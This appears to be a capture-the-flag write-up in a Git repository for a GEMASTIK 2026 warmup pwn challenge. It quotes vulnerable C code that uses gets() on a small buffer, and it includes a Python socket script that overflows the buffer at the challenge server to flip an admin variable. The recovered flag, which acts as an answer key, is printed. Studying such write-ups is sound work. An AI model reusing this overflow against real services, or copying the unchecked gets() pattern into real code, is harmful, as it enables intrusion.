Files
mcpedia/content/writeups/gemastik-2026-warmup/ch9-are-you-admin.md
T
asepharyana 7a6e717c28
CI / typecheck + build (push) Canceled after 0s
CI / deploy to VPS (push) Canceled after 0s
docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods
2026-08-21 13:51:31 +07:00

981 B

title, event, challenge, category, points, difficulty, flag
title event challenge category points difficulty flag
Are You Admin? — Buffer Overflow GEMASTIK 2026 Warmup Are You Admin? pwn 500 easy GEMASTIK19{0v3rfl0w_ubah_var}

Are You Admin? (500 pts) — Pwn / Buffer Overflow

Server: nc 15.232.89.109 9001

Source (chall.c):

volatile int admin = 0;
char name[16];
gets(name);                 // <-- overflow, no bounds check
if (admin != 0) { /* print flag */ }

Eksploitasi

Stack layout: name[16] diikuti oleh admin (int). Overflow name dengan padding 20 byte lalu 4 byte nonzero untuk mengubah admin menjadi != 0:

import socket, time

s = socket.socket()
s.connect(("15.232.89.109", 9001))
time.sleep(0.5)

# 16 bytes buf + 4 bytes padding + 4 bytes admin override
payload = b"A" * 20 + b"\xff\xff\xff\xff"
s.sendall(payload + b"\n")
time.sleep(1.2)
print(s.recv(4096).decode())
# -> GEMASTIK19{0v3rfl0w_ubah_var}

Flag

GEMASTIK19{0v3rfl0w_ubah_var}